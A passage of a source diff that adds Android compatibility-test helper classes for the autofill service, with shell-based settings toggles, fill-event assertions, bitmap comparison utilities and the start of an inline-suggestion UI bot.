+        final AutofillId[] requiredIds = new AutofillId[resourceIds.length];
+        for (int i = 0; i < resourceIds.length; i++) {
+            final String resourceId = resourceIds[i];
+            final ViewNode node = nodeResolver.apply(resourceId);
+            if (node == null) {
+                throw new AssertionError("No node with resourceId " + resourceId);
+            }
+            requiredIds[i] = node.getAutofillId();
+
+        }
+        return requiredIds;
+    }
+
+    /**
+     * Get an {@link AutofillId} mapped from the {@code structure} node with the given
+     * {@code resourceId}.
+     */
+    public static AutofillId getAutofillId(Function<String, ViewNode> nodeResolver,
+            String resourceId) {
+        if (resourceId == null) return null;
+
+        final ViewNode node = nodeResolver.apply(resourceId);
+        if (node == null) {
+            throw new AssertionError("No node with resourceId " + resourceId);
+        }
+        return node.getAutofillId();
+    }
+
+    /**
+     * Prevents the screen to rotate by itself
+     */
+    public static void disableAutoRotation(UiBot uiBot) throws Exception {
+        runShellCommand(ACCELLEROMETER_CHANGE, 0);
+        uiBot.setScreenOrientation(PORTRAIT);
+    }
+
+    /**
+     * Allows the screen to rotate by itself
+     */
+    public static void allowAutoRotation() {
+        runShellCommand(ACCELLEROMETER_CHANGE, 1);
+    }
+
+    /**
+     * Gets the maximum number of partitions per session.
+     */
+    public static int getMaxPartitions() {
+        return Integer.parseInt(runShellCommand("cmd autofill get max_partitions"));
+    }
+
+    /**
+     * Sets the maximum number of partitions per session.
+     */
+    public static void setMaxPartitions(int value) throws Exception {
+        runShellCommand("cmd autofill set max_partitions %d", value);
+        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_partitions", () -> {
+            return getMaxPartitions() == value ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Gets the maximum number of visible datasets.
+     */
+    public static int getMaxVisibleDatasets() {
+        return Integer.parseInt(runShellCommand("cmd autofill get max_visible_datasets"));
+    }
+
+    /**
+     * Sets the maximum number of visible datasets.
+     */
+    public static void setMaxVisibleDatasets(int value) throws Exception {
+        runShellCommand("cmd autofill set max_visible_datasets %d", value);
+        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_visible_datasets", () -> {
+            return getMaxVisibleDatasets() == value ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Checks if autofill window is fullscreen, see com.android.server.autofill.ui.FillUi.
+     */
+    public static boolean isAutofillWindowFullScreen(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
+    /**
+     * Checks if screen orientation can be changed.
+     */
+    public static boolean isRotationSupported(Context context) {
+        final PackageManager packageManager = context.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            Log.v(TAG, "isRotationSupported(): is auto");
+            return false;
+        }
+        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            Log.v(TAG, "isRotationSupported(): has leanback feature");
+            return false;
+        }
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
+            Log.v(TAG, "isRotationSupported(): is PC");
+            return false;
+        }
+        return true;
+    }
+
+    private static boolean getBoolean(Context context, String id) {
+        final Resources resources = context.getResources();
+        final int booleanId = resources.getIdentifier(id, "bool", "android");
+        return resources.getBoolean(booleanId);
+    }
+
+    /**
+     * Uses Shell command to get the Autofill logging level.
+     */
+    public static String getLoggingLevel() {
+        return runShellCommand("cmd autofill get log_level");
+    }
+
+    /**
+     * Uses Shell command to set the Autofill logging level.
+     */
+    public static void setLoggingLevel(String level) {
+        runShellCommand("cmd autofill set log_level %s", level);
+    }
+
+    /**
+     * Uses Settings to enable the given autofill service for the default user, and checks the
+     * value was properly check, throwing an exception if it was not.
+     */
+    public static void enableAutofillService(@NonNull Context context,
+            @NonNull String serviceName) {
+        if (isAutofillServiceEnabled(serviceName)) return;
+
+        // Sets the setting synchronously. Note that the config itself is sets synchronously but
+        // launch of the service is asynchronous after the config is updated.
+        SettingsUtils.syncSet(context, AUTOFILL_SERVICE, serviceName);
+
+        // Waits until the service is actually enabled.
+        try {
+            Timeouts.CONNECTION_TIMEOUT.run("Enabling Autofill service", () -> {
+                return isAutofillServiceEnabled(serviceName) ? serviceName : null;
+            });
+        } catch (Exception e) {
+            throw new AssertionError("Enabling Autofill service failed.");
+        }
+    }
+
+    /**
+     * Uses Settings to disable the given autofill service for the default user, and waits until
+     * the setting is deleted.
+     */
+    public static void disableAutofillService(@NonNull Context context) {
+        final String currentService = SettingsUtils.get(AUTOFILL_SERVICE);
+        if (currentService == null) {
+            Log.v(TAG, "disableAutofillService(): already disabled");
+            return;
+        }
+        Log.v(TAG, "Disabling " + currentService);
+        SettingsUtils.syncDelete(context, AUTOFILL_SERVICE);
+    }
+
+    /**
+     * Checks whether the given service is set as the autofill service for the default user.
+     */
+    public static boolean isAutofillServiceEnabled(@NonNull String serviceName) {
+        final String actualName = getAutofillServiceName();
+        return serviceName.equals(actualName);
+    }
+
+    /**
+     * Gets then name of the autofill service for the default user.
+     */
+    public static String getAutofillServiceName() {
+        return SettingsUtils.get(AUTOFILL_SERVICE);
+    }
+
+    /**
+     * Asserts whether the given service is enabled as the autofill service for the default user.
+     */
+    public static void assertAutofillServiceStatus(@NonNull String serviceName, boolean enabled) {
+        final String actual = SettingsUtils.get(AUTOFILL_SERVICE);
+        final String expected = enabled ? serviceName : null;
+        assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
+                .that(actual).isEqualTo(expected);
+    }
+
+    /**
+     * Enables / disables the default augmented autofill service.
+     */
+    public static void setDefaultAugmentedAutofillServiceEnabled(boolean enabled) {
+        Log.d(TAG, "setDefaultAugmentedAutofillServiceEnabled(): " + enabled);
+        runShellCommand("cmd autofill set default-augmented-service-enabled 0 %s",
+                Boolean.toString(enabled));
+    }
+
+    /**
+     * Gets the instrumentation context.
+     */
+    public static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    /**
+     * Asserts the node has an {@code HTMLInfo} property, with the given tag.
+     */
+    public static HtmlInfo assertHasHtmlTag(ViewNode node, String expectedTag) {
+        final HtmlInfo info = node.getHtmlInfo();
+        assertWithMessage("node doesn't have htmlInfo").that(info).isNotNull();
+        assertWithMessage("wrong tag").that(info.getTag()).isEqualTo(expectedTag);
+        return info;
+    }
+
+    /**
+     * Gets the value of an {@code HTMLInfo} attribute.
+     */
+    @Nullable
+    public static String getAttributeValue(HtmlInfo info, String attribute) {
+        for (Pair<String, String> pair : info.getAttributes()) {
+            if (pair.first.equals(attribute)) {
+                return pair.second;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts a {@code HTMLInfo} has an attribute with a given value.
+     */
+    public static void assertHasAttribute(HtmlInfo info, String attribute, String expectedValue) {
+        final String actualValue = getAttributeValue(info, attribute);
+        assertWithMessage("Attribute %s not found", attribute).that(actualValue).isNotNull();
+        assertWithMessage("Wrong value for Attribute %s", attribute)
+            .that(actualValue).isEqualTo(expectedValue);
+    }
+
+    /**
+     * Finds a {@link WebView} node given its expected form name.
+     */
+    public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
+        return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
+    }
+
+    private static void assertClientState(Object container, Bundle clientState,
+            String key, String value) {
+        assertWithMessage("'%s' should have client state", container)
+            .that(clientState).isNotNull();
+        assertWithMessage("Wrong number of client state extras on '%s'", container)
+            .that(clientState.keySet().size()).isEqualTo(1);
+        assertWithMessage("Wrong value for client state key (%s) on '%s'", key, container)
+            .that(clientState.getString(key)).isEqualTo(value);
+    }
+
+    /**
+     * Asserts the content of a {@link FillEventHistory#getClientState()}.
+     *
+     * @param history event to be asserted
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    @SuppressWarnings("javadoc")
+    public static void assertDeprecatedClientState(@NonNull FillEventHistory history,
+            @NonNull String key, @NonNull String value) {
+        assertThat(history).isNotNull();
+        @SuppressWarnings("deprecation")
+        final Bundle clientState = history.getClientState();
+        assertClientState(history, clientState, key, value);
+    }
+
+    /**
+     * Asserts the {@link FillEventHistory#getClientState()} is not set.
+     *
+     * @param history event to be asserted
+     */
+    @SuppressWarnings("javadoc")
+    public static void assertNoDeprecatedClientState(@NonNull FillEventHistory history) {
+        assertThat(history).isNotNull();
+        @SuppressWarnings("deprecation")
+        final Bundle clientState = history.getClientState();
+        assertWithMessage("History '%s' should not have client state", history)
+             .that(clientState).isNull();
+    }
+
+    /**
+     * Asserts the content of a {@link android.service.autofill.FillEventHistory.Event}.
+     *
+     * @param event event to be asserted
+     * @param eventType expected type
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle (or {@code null} if it shouldn't
+     * have client state)
+     * @param value the only value expected in the client state bundle (or {@code null} if it
+     * shouldn't have client state)
+     * @param fieldClassificationResults expected results when asserting field classification
+     */
+    private static void assertFillEvent(@NonNull FillEventHistory.Event event,
+            int eventType, @Nullable String datasetId,
+            @Nullable String key, @Nullable String value,
+            @Nullable FieldClassificationResult[] fieldClassificationResults) {
+        assertThat(event).isNotNull();
+        assertWithMessage("Wrong type for %s", event).that(event.getType()).isEqualTo(eventType);
+        if (datasetId == null) {
+            assertWithMessage("Event %s should not have dataset id", event)
+                .that(event.getDatasetId()).isNull();
+        } else {
+            assertWithMessage("Wrong dataset id for %s", event)
+                .that(event.getDatasetId()).isEqualTo(datasetId);
+        }
+        final Bundle clientState = event.getClientState();
+        if (key == null) {
+            assertWithMessage("Event '%s' should not have client state", event)
+                .that(clientState).isNull();
+        } else {
+            assertClientState(event, clientState, key, value);
+        }
+        assertWithMessage("Event '%s' should not have selected datasets", event)
+                .that(event.getSelectedDatasetIds()).isEmpty();
+        assertWithMessage("Event '%s' should not have ignored datasets", event)
+                .that(event.getIgnoredDatasetIds()).isEmpty();
+        assertWithMessage("Event '%s' should not have changed fields", event)
+                .that(event.getChangedFields()).isEmpty();
+        assertWithMessage("Event '%s' should not have manually-entered fields", event)
+                .that(event.getManuallyEnteredField()).isEmpty();
+        final Map<AutofillId, FieldClassification> detectedFields = event.getFieldsClassification();
+        if (fieldClassificationResults == null) {
+            assertThat(detectedFields).isEmpty();
+        } else {
+            assertThat(detectedFields).hasSize(fieldClassificationResults.length);
+            int i = 0;
+            for (Entry<AutofillId, FieldClassification> entry : detectedFields.entrySet()) {
+                assertMatches(i, entry, fieldClassificationResults[i]);
+                i++;
+            }
+        }
+    }
+
+    private static void assertMatches(int i, Entry<AutofillId, FieldClassification> actualResult,
+            FieldClassificationResult expectedResult) {
+        assertWithMessage("Wrong field id at index %s", i).that(actualResult.getKey())
+                .isEqualTo(expectedResult.id);
+        final List<Match> matches = actualResult.getValue().getMatches();
+        assertWithMessage("Wrong number of matches: " + matches).that(matches.size())
+                .isEqualTo(expectedResult.categoryIds.length);
+        for (int j = 0; j < matches.size(); j++) {
+            final Match match = matches.get(j);
+            assertWithMessage("Wrong categoryId at (%s, %s): %s", i, j, match)
+                .that(match.getCategoryId()).isEqualTo(expectedResult.categoryIds[j]);
+            assertWithMessage("Wrong score at (%s, %s): %s", i, j, match)
+                .that(match.getScore()).isWithin(0.01f).of(expectedResult.scores[j]);
+        }
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     */
+    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId) {
+        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @Nullable String key, @Nullable String value) {
+        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     */
+    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId) {
+        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
+            @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+     *
+     * @param event event to be asserted
+     */
+    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event) {
+        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
+     * event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetAuthenticationSelected(
+            @NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_AUTHENTICATION_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForAuthenticationSelected(
+            @NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+    }
+
+    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+            @NonNull AutofillId fieldId, @NonNull String categoryId, float score) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null,
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId, categoryId, score)
+                });
+    }
+
+    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+            @NonNull FieldClassificationResult[] results) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, results);
+    }
+
+    public static void assertFillEventForContextCommitted(@NonNull FillEventHistory.Event event) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, null);
+    }
+
+    @NonNull
+    public static String getActivityName(List<FillContext> contexts) {
+        if (contexts == null) return "N/A (null contexts)";
+
+        if (contexts.isEmpty()) return "N/A (empty contexts)";
+
+        final AssistStructure structure = contexts.get(contexts.size() - 1).getStructure();
+        if (structure == null) return "N/A (no AssistStructure)";
+
+        final ComponentName componentName = structure.getActivityComponent();
+        if (componentName == null) return "N/A (no component name)";
+
+        return componentName.flattenToShortString();
+    }
+
+    public static void assertFloat(float actualValue, float expectedValue) {
+        assertThat(actualValue).isWithin(1.0e-10f).of(expectedValue);
+    }
+
+    public static void assertHasFlags(int actualFlags, int expectedFlags) {
+        assertWithMessage("Flags %s not in %s", expectedFlags, actualFlags)
+                .that(actualFlags & expectedFlags).isEqualTo(expectedFlags);
+    }
+
+    public static String callbackEventAsString(int event) {
+        switch (event) {
+            case AutofillCallback.EVENT_INPUT_HIDDEN:
+                return "HIDDEN";
+            case AutofillCallback.EVENT_INPUT_SHOWN:
+                return "SHOWN";
+            case AutofillCallback.EVENT_INPUT_UNAVAILABLE:
+                return "UNAVAILABLE";
+            default:
+                return "UNKNOWN:" + event;
+        }
+    }
+
+    public static String importantForAutofillAsString(int mode) {
+        switch (mode) {
+            case View.IMPORTANT_FOR_AUTOFILL_AUTO:
+                return "IMPORTANT_FOR_AUTOFILL_AUTO";
+            case View.IMPORTANT_FOR_AUTOFILL_YES:
+                return "IMPORTANT_FOR_AUTOFILL_YES";
+            case View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS:
+                return "IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS";
+            case View.IMPORTANT_FOR_AUTOFILL_NO:
+                return "IMPORTANT_FOR_AUTOFILL_NO";
+            case View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS:
+                return "IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS";
+            default:
+                return "UNKNOWN:" + mode;
+        }
+    }
+
+    public static boolean hasHint(@Nullable String[] hints, @Nullable Object expectedHint) {
+        if (hints == null || expectedHint == null) return false;
+        for (String actualHint : hints) {
+            if (expectedHint.equals(actualHint)) return true;
+        }
+        return false;
+    }
+
+    public static Bundle newClientState(String key, String value) {
+        final Bundle clientState = new Bundle();
+        clientState.putString(key, value);
+        return clientState;
+    }
+
+    public static void assertAuthenticationClientState(String where, Bundle data,
+            String expectedKey, String expectedValue) {
+        assertWithMessage("no client state on %s", where).that(data).isNotNull();
+        final String extraValue = data.getString(expectedKey);
+        assertWithMessage("invalid value for %s on %s", expectedKey, where)
+                .that(extraValue).isEqualTo(expectedValue);
+    }
+
+    /**
+     * Asserts that 2 bitmaps have are the same. If they aren't throws an exception and dump them
+     * locally so their can be visually inspected.
+     *
+     * @param filename base name of the files generated in case of error
+     * @param bitmap1 first bitmap to be compared
+     * @param bitmap2 second bitmap to be compared
+     */
+    // TODO: move to common code
+    public static void assertBitmapsAreSame(@NonNull String filename, @Nullable Bitmap bitmap1,
+            @Nullable Bitmap bitmap2) throws IOException {
+        assertWithMessage("1st bitmap is null").that(bitmap1).isNotNull();
+        assertWithMessage("2nd bitmap is null").that(bitmap2).isNotNull();
+        final boolean same = bitmap1.sameAs(bitmap2);
+        if (same) {
+            Log.v(TAG, "bitmap comparison passed for " + filename);
+            return;
+        }
+
+        final File dir = getLocalDirectory();
+        if (dir == null) {
+            throw new AssertionError("bitmap comparison failed for " + filename
+                    + ", and bitmaps could not be dumped on " + dir);
+        }
+        final File dump1 = dumpBitmap(bitmap1, dir, filename + "-1.png");
+        final File dump2 = dumpBitmap(bitmap2, dir, filename + "-2.png");
+        throw new AssertionError(
+                "bitmap comparison failed; check contents of " + dump1 + " and " + dump2);
+    }
+
+    @Nullable
+    private static File getLocalDirectory() {
+        final File dir = new File(LOCAL_DIRECTORY);
+        dir.mkdirs();
+        if (!dir.exists()) {
+            Log.e(TAG, "Could not create directory " + dir);
+            return null;
+        }
+        return dir;
+    }
+
+    @Nullable
+    private static File createFile(@NonNull File dir, @NonNull String filename) throws IOException {
+        final File file = new File(dir, filename);
+        if (file.exists()) {
+            Log.v(TAG, "Deleting file " + file);
+            file.delete();
+        }
+        if (!file.createNewFile()) {
+            Log.e(TAG, "Could not create file " + file);
+            return null;
+        }
+        return file;
+    }
+
+    @Nullable
+    private static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File dir,
+            @NonNull String filename) throws IOException {
+        final File file = createFile(dir, filename);
+        if (file != null) {
+            dumpBitmap(bitmap, file);
+
+        }
+        return file;
+    }
+
+    @Nullable
+    public static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File file) {
+        Log.i(TAG, "Dumping bitmap at " + file);
+        BitmapUtils.saveBitmap(bitmap, file.getParent(), file.getName());
+        return file;
+    }
+
+    /**
+     * Creates a file in the device, using the name of the current test as a prefix.
+     */
+    @Nullable
+    public static File createTestFile(@NonNull String name) throws IOException {
+        final File dir = getLocalDirectory();
+        if (dir == null) return null;
+
+        final String prefix = TestNameUtils.getCurrentTestName().replaceAll("\\.|\\(|\\/", "_")
+                .replaceAll("\\)", "");
+        final String filename = prefix + "-" + name;
+
+        return createFile(dir, filename);
+    }
+
+    /**
+     * Offers an object to a queue or times out.
+     *
+     * @return {@code true} if the offer was accepted, {$code false} if it timed out or was
+     * interrupted.
+     */
+    public static <T> boolean offer(BlockingQueue<T> queue, T obj, long timeoutMs) {
+        boolean offered = false;
+        try {
+            offered = queue.offer(obj, timeoutMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            Log.w(TAG, "interrupted offering", e);
+            Thread.currentThread().interrupt();
+        }
+        if (!offered) {
+            Log.e(TAG, "could not offer " + obj + " in " + timeoutMs + "ms");
+        }
+        return offered;
+    }
+
+    /**
+     * Calls this method to assert given {@code string} is equal to {@link #LARGE_STRING}, as
+     * comparing its value using standard assertions might ANR.
+     */
+    public static void assertEqualsToLargeString(@NonNull String string) {
+        assertThat(string).isNotNull();
+        assertThat(string).hasLength(LARGE_STRING_SIZE);
+        assertThat(string.charAt(0)).isEqualTo(LARGE_STRING_CHAR);
+        assertThat(string.charAt(LARGE_STRING_SIZE - 1)).isEqualTo(LARGE_STRING_CHAR);
+    }
+
+    /**
+     * Asserts that autofill is enabled in the context, retrying if necessariy.
+     */
+    public static void assertAutofillEnabled(@NonNull Context context, boolean expected)
+            throws Exception {
+        assertAutofillEnabled(context.getSystemService(AutofillManager.class), expected);
+    }
+
+    /**
+     * Asserts that autofill is enabled in the manager, retrying if necessariy.
+     */
+    public static void assertAutofillEnabled(@NonNull AutofillManager afm, boolean expected)
+            throws Exception {
+        Timeouts.IDLE_UNBIND_TIMEOUT.run("assertEnabled(" + expected + ")", () -> {
+            final boolean actual = afm.isEnabled();
+            Log.v(TAG, "assertEnabled(): expected=" + expected + ", actual=" + actual);
+            return actual == expected ? "not_used" : null;
+        });
+    }
+
+    /**
+     * Asserts these autofill ids are the same, except for the session.
+     */
+    public static void assertEqualsIgnoreSession(@NonNull AutofillId id1, @NonNull AutofillId id2) {
+        assertWithMessage("id1 is null").that(id1).isNotNull();
+        assertWithMessage("id2 is null").that(id2).isNotNull();
+        assertWithMessage("%s is not equal to %s", id1, id2).that(id1.equalsIgnoreSession(id2))
+                .isTrue();
+    }
+
+    /**
+     * Asserts {@link View#isAutofilled()} state of the given view, waiting if necessarity to avoid
+     * race conditions.
+     */
+    public static void assertViewAutofillState(@NonNull View view, boolean expected)
+            throws Exception {
+        Timeouts.FILL_TIMEOUT.run("assertViewAutofillState(" + view + ", " + expected + ")",
+                () -> {
+                    final boolean actual = view.isAutofilled();
+                    Log.v(TAG, "assertViewAutofillState(): expected=" + expected + ", actual="
+                            + actual);
+                    return actual == expected ? "not_used" : null;
+                });
+    }
+
+    /**
+     * Allows the test to draw overlaid windows.
+     *
+     * <p>Should call {@link #disallowOverlays()} afterwards.
+     */
+    public static void allowOverlays() {
+        ShellUtils.setOverlayPermissions(MY_PACKAGE, true);
+    }
+
+    /**
+     * Disallow the test to draw overlaid windows.
+     *
+     * <p>Should call {@link #disallowOverlays()} afterwards.
+     */
+    public static void disallowOverlays() {
+        ShellUtils.setOverlayPermissions(MY_PACKAGE, false);
+    }
+
+    public static RemoteViews createPresentation(String message) {
+        final RemoteViews presentation = new RemoteViews(getContext()
+                .getPackageName(), R.layout.list_item);
+        presentation.setTextViewText(R.id.text1, message);
+        return presentation;
+    }
+
+    public static InlinePresentation createInlinePresentation(String message) {
+        final PendingIntent dummyIntent = PendingIntent.getActivity(getContext(), 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        return createInlinePresentation(message, dummyIntent, false);
+    }
+
+    public static InlinePresentation createInlinePresentation(String message,
+            PendingIntent attribution) {
+        return createInlinePresentation(message, attribution, false);
+    }
+
+    public static InlinePresentation createPinnedInlinePresentation(String message) {
+        final PendingIntent dummyIntent = PendingIntent.getActivity(getContext(), 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        return createInlinePresentation(message, dummyIntent, true);
+    }
+
+    private static InlinePresentation createInlinePresentation(@NonNull String message,
+            @NonNull PendingIntent attribution, boolean pinned) {
+        return new InlinePresentation(
+                InlineSuggestionUi.newContentBuilder(attribution)
+                        .setTitle(message).build().getSlice(),
+                new InlinePresentationSpec.Builder(new Size(100, 100), new Size(400, 100))
+                        .build(), /* pinned= */ pinned);
+    }
+
+    public static void mockSwitchInputMethod(@NonNull Context context) throws Exception {
+        final ContentResolver cr = context.getContentResolver();
+        final int subtype = Settings.Secure.getInt(cr, SELECTED_INPUT_METHOD_SUBTYPE);
+        Settings.Secure.putInt(cr, SELECTED_INPUT_METHOD_SUBTYPE, subtype);
+    }
+
+    /**
+     * Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+     */
+    public static void resetApplicationAutofillOptions(@NonNull Context context) {
+        AutofillOptions options = AutofillOptions.forWhitelistingItself();
+        options.augmentedAutofillEnabled = false;
+        context.getApplicationContext().setAutofillOptions(options);
+    }
+
+    /**
+     * Clear AutofillOptions.
+     */
+    public static void clearApplicationAutofillOptions(@NonNull Context context) {
+        context.getApplicationContext().setAutofillOptions(null);
+    }
+
+    private Helper() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+
+    public static class FieldClassificationResult {
+        public final AutofillId id;
+        public final String[] categoryIds;
+        public final float[] scores;
+
+        public FieldClassificationResult(@NonNull AutofillId id, @NonNull String categoryId,
+                float score) {
+            this(id, new String[]{categoryId}, new float[]{score});
+        }
+
+        public FieldClassificationResult(@NonNull AutofillId id, @NonNull String[] categoryIds,
+                float[] scores) {
+            this.id = id;
+            this.categoryIds = categoryIds;
+            this.scores = scores;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/IdMode.java
new file mode 100644
index 0000000..6d54d0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/IdMode.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+/**
+ * Enum used to explain the meaning of node ids used by test cases.
+ */
+public enum IdMode {
+    RESOURCE_ID,
+    HTML_NAME,
+    HTML_NAME_OR_RESOURCE_ID
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
new file mode 100644
index 0000000..88f97c2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
+import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS;
+import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT;
+
+import android.content.pm.PackageManager;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Direction;
+import android.support.test.uiautomator.UiObject2;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.Timeout;
+import com.android.cts.mockime.MockIme;
+
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+/**
+ * UiBot for the inline suggestion.
+ */
+public final class InlineUiBot extends UiBot {
+
+    private static final String TAG = "AutoFillInlineCtsUiBot";
+    public static final String SUGGESTION_STRIP_DESC = "MockIme Inline Suggestion View";
+
+    private static final BySelector SUGGESTION_STRIP_SELECTOR = By.desc(SUGGESTION_STRIP_DESC);
+
+    private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
+            PackageManager.FEATURE_INPUT_METHODS);
+
+    public InlineUiBot() {
+        this(UI_TIMEOUT);
+    }
+
+    public InlineUiBot(Timeout defaultTimeout) {
+        super(defaultTimeout);
+    }
+
+    public static RuleChain annotateRule(TestRule rule) {
+        return RuleChain.outerRule(REQUIRES_IME_RULE).around(rule);
+    }
+
+    @Override
+    public void assertNoDatasets() throws Exception {
+        assertNoDatasetsEver();
+    }
+
+    @Override
